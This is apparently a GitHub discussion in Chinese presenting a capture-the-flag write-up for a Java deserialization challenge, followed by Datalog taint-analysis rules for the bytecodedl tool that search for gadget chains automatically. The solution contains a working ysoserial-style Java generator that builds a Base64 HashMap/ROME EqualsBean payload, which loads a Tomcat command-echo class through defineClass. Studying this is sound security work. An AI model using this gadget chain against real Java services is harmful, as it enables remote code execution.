Skip to content

Navigation Menu

Sign in
Appearance settings

Search code, repositories, users, issues, pull requests...

Provide feedback

We read every piece of feedback, and take your input very seriously.

Saved searches

Use saved searches to filter your results more quickly

Appearance settings
Discussion options

下载链接

https://pan.baidu.com/s/11ycESHVag1qqrJ_sKcguFw 密码 GAME
备用 https://share.weiyun.com/kkQkgmVZ

题解

反序列化入口 com.example.b4bycoffee.controller.coffeeController#order

image

黑名单

image

com.example.b4bycoffee.model.CoffeeBean#toString 可以定义字节码并创建实例

image

并且有ROME lib

由此可用com.rometools.rome.feed.impl.EqualsBean#hashCode 触发toString

    public int hashCode() {
        return this.beanHashCode();
    }

    public int beanHashCode() {
        return this.obj.toString().hashCode();
    }

可以用hashmap触发hashCode函数,由此可知题解

package ysoserial.payloads;

import com.example.b4bycoffee.model.CoffeeBean;
import com.rometools.rome.feed.impl.EqualsBean;
import javassist.ClassPool;
import javassist.CtClass;
import ysoserial.Serializer;
import ysoserial.payloads.templates.TomcatCmdEcho;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.Reflections;

import java.util.Base64;
import java.util.HashMap;

public class Ctf {
    public static void main(String[] args) throws Exception {
        CoffeeBean coffeeBean = new CoffeeBean();

        ClassPool pool = ClassPool.getDefault();
        CtClass ctClass = pool.getCtClass(TomcatCmdEcho.class.getName());
        ctClass.setName("TomcatCmdEcho" + System.nanoTime());
        Reflections.setFieldValue(coffeeBean, "ClassByte", ctClass.toBytecode());

        EqualsBean equalsBean1 = new EqualsBean(CoffeeBean.class, coffeeBean);
        EqualsBean equalsBean2 = new EqualsBean(CoffeeBean.class, coffeeBean);
        HashMap hashMap = Gadgets.makeMap(equalsBean1, equalsBean2);

        byte[] serialize = Serializer.serialize(hashMap);
        String s = Base64.getEncoder().encodeToString(serialize);
        System.out.println(s);
//        InputStream inputStream = new ByteArrayInputStream(Base64.getDecoder().decode(s));
//        AntObjectInputStream antInputStream = new AntObjectInputStream(inputStream);
//        antInputStream.readObject();
    }
}

使用bytecodedl分析

TODO 请师傅补充从readObject->toString的dl规则

You must be logged in to vote

Replies: 3 comments · 3 replies

Comment options

这个的本质就是如何自动化找反序列化利用脸,可以先从一些已知的第二级触发函数开始,比如toString,hashCode,compareTo等开始,作为入口函数,然后污点源是field,sink点是defineclass

You must be logged in to vote
0 replies
Comment options

#define MAXSTEP 5
#define CHAO 1

#include "../logic/ptaint.dl"
#include "../logic/cha.dl"


.init ptaint = PTaint

// 定义CHA 入口函数
EntryPoint(simplename, descriptor, class) :-
    simplename = "toString",
    descriptor = "()Ljava/lang/String;",
    SubClass(class, "java.io.Serializable"),
    class = "com.example.b4bycoffee.model.CoffeeBean".

// 定义CHA 危险函数
SinkDesc("defineClass", "java.lang.ClassLoader").

// 能够到达sink的入口函数作为 污点分析的起点,这样cha和taint就结合起来了

ptaint.Reachable(method) :-
    SinkReachable(method, _, _),
    EntryMethod(method).

.output SinkReachable

// 定义污点分析的危险函数
ptaint.SinkMethod(method, 1) :-
    MethodInfo(method, "defineClass", _, class, _, _, _),
    SubEqClass(class, "java.lang.ClassLoader").

// 对反序列化的对象进行mock
NormalHeap(heap, class),
ptaint.TaintHeap(insn, heap),
ptaint.VarPointsTo(heap, this) :-
    EntryPoint(simplename, descriptor, class),
    Dispatch(simplename, descriptor, class, method),
    ThisVar(method, this),
    insn = cat("Mock", class),
    heap = cat("NewTainted::", insn).

// 如果对象是污点,反序列化的时候认为其field都可控,那么load field也是污点
NormalHeap(newHeap, class),
ptaint.TaintHeap(insn, newHeap),
ptaint.TransferTaint(heap, newHeap),
ptaint.VarPointsTo(newHeap, var) :-
    ptaint.Reachable(inMethod),
    LoadInstanceField(insn, _, var, base, field, inMethod),
    FieldInfo(field, _, _, type),
    SubEqClass(class, type),
    ptaint.VarPointsTo(heap, base),
    ptaint.TaintHeap(_, heap),
    newHeap = cat("TransferTaint::Mock::Load", insn).

.decl TaintVar(var:Var)

TaintVar(var) :-
    ptaint.VarPointsTo(heap, var),
    ptaint.TaintHeap(_, heap).

.decl SinkTaintVar(var:Var, heap:Heap)

SinkTaintVar(var, heap) :-
    ptaint.CallGraph(insn, caller, method),
    ptaint.SinkMethod(method, n),
    VirtualMethodInvocation(insn, _, _, _, caller),
    ActualParam(n, insn, var),
    ptaint.VarPointsTo(heap, var),
    ptaint.TaintHeap(_, heap).

.output TaintVar
.output SinkTaintVar

.output ptaint.TaintHeap
.output ptaint.TransferTaint
.output ptaint.VarPointsTo
.output ptaint.SinkMethod
.output ptaint.CallGraph

如果不限制 class = "com.example.b4bycoffee.model.CoffeeBean" 会比较慢,等我有空再优化一下,或者等我公开我之前挖反序列化链的规则

You must be logged in to vote
0 replies
Comment options

对该规则进行补充

这个的本质就是如何自动化找反序列化利用链,可以先从一些已知的第二级触发函数开始,比如toString,hashCode,compareTo等开始,作为入口函数,然后污点源是field,sink点是defineclass

上文师傅以com.example.b4bycoffee.model.CoffeeBean#toString()为cha入口点,定义sink为defineclass,个人觉得应该以hashmap的readObject为cha入口点,定义com.example.b4bycoffee.model.CoffeeBean#toString()为sink危险函数

修改之后的规则如下

#define MAXSTEP 8
#define CHAO 1

#include "./logic/ptaint.dl"
#include "./logic/cha.dl"


.init ptaint = PTaint

// 定义CHA 入口函数
EntryPoint(simplename, descriptor, class) :-
    simplename = "readObject",
    descriptor = "(Ljava/io/ObjectInputStream;)V",
    class = "java.util.HashMap".

// 定义CHA 危险函数
SinkDesc("toString", "com.example.b4bycoffee.model.CoffeeBean").

// 能够到达sink的入口函数作为 污点分析的起点,这样cha和taint就结合起来了

ptaint.Reachable(method) :-
    SinkReachable(method, _, _),
    EntryMethod(method).

.output SinkReachable

// 定义污点分析的危险函数
ptaint.SinkMethod(method, 1) :-
    MethodInfo(method, "toString", _, class, _, _, _),
    SubEqClass(class, "com.example.b4bycoffee.model.CoffeeBean").

// 对反序列化的对象进行mock
NormalHeap(heap, class),
ptaint.TaintHeap(insn, heap),
ptaint.VarPointsTo(heap, this) :-
    EntryPoint(simplename, descriptor, class),
    Dispatch(simplename, descriptor, class, method),
    ThisVar(method, this),
    insn = cat("Mock", class),
    heap = cat("NewTainted::", insn).

// 如果对象是污点,反序列化的时候认为其field都可控,那么load field也是污点
NormalHeap(newHeap, class),
ptaint.TaintHeap(insn, newHeap),
ptaint.TransferTaint(heap, newHeap),
ptaint.VarPointsTo(newHeap, var) :-
    ptaint.Reachable(inMethod),
    LoadInstanceField(insn, _, var, base, field, inMethod),
    FieldInfo(field, _, _, type),
    SubEqClass(class, type),
    ptaint.VarPointsTo(heap, base),
    ptaint.TaintHeap(_, heap),
    newHeap = cat("TransferTaint::Mock::Load", insn).

.decl TaintVar(var:Var)

TaintVar(var) :-
    ptaint.VarPointsTo(heap, var),
    ptaint.TaintHeap(_, heap).

.decl SinkTaintVar(var:Var, heap:Heap)

SinkTaintVar(var, heap) :-
    ptaint.CallGraph(insn, caller, method),
    ptaint.SinkMethod(method, n),
    VirtualMethodInvocation(insn, _, _, _, caller),
    ActualParam(n, insn, var),
    ptaint.VarPointsTo(heap, var),
    ptaint.TaintHeap(_, heap).

.output TaintVar
.output SinkTaintVar

.output ptaint.TaintHeap
.output ptaint.TransferTaint
.output ptaint.VarPointsTo
.output ptaint.SinkMethod
.output ptaint.CallGraph

SinkReachable.csv中

image

但是有一点疑问,SinkReachable仅仅是cha输出的调用关系,而无论是之前的规则还是补充后的规则

ptaint.CallGraph.csv
ptaint.SinkMethod.csv
ptaint.TaintHeap.csv
ptaint.TransferTaint.csv
ptaint.VarPointsTo.csv
SinkTaintVar.csv
TaintVar.csv

污点分析的结果中均没有到达EqualBean的method call之间的污点传播信息,为什么?

You must be logged in to vote
3 replies
@waderwu
Comment options

上文师傅以com.example.b4bycoffee.model.CoffeeBean#toString()为cha入口点,定义sink为defineclass,个人觉得应该以hashmap的readObject为cha入口点,定义com.example.b4bycoffee.model.CoffeeBean#toString()为sink危险函数

首先从readObject到hashCode,equals,toString在JDK里面就有相应的gadget,属于已知的东西,为了减少调用链的长度,直接将这些二级入口作为分析起点更合理,然后再手动chain起来就行。

@waderwu
Comment options

// 定义污点分析的危险函数
ptaint.SinkMethod(method, 1) :-
    MethodInfo(method, "toString", _, class, _, _, _),
    SubEqClass(class, "com.example.b4bycoffee.model.CoffeeBean").

这种写法不对,toString不方便作为sink函数,以为其没有参数,目前针对receiver作为污点的还没支持。

@waderwu
Comment options

污点分析的结果中均没有到达EqualBean的method call之间的污点传播信息,为什么?

这个是因为污点来源少了,上述的规则污点来源我只加了来自field,其实实际情况还可能来自readObject,readField等函数的返回值,而hashMap恰好是来自readObject。可以设置ObjectInputStream#readObject为source。
image

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
2 participants
Morty Proxy This is a proxified and sanitized view of the page, visit original site.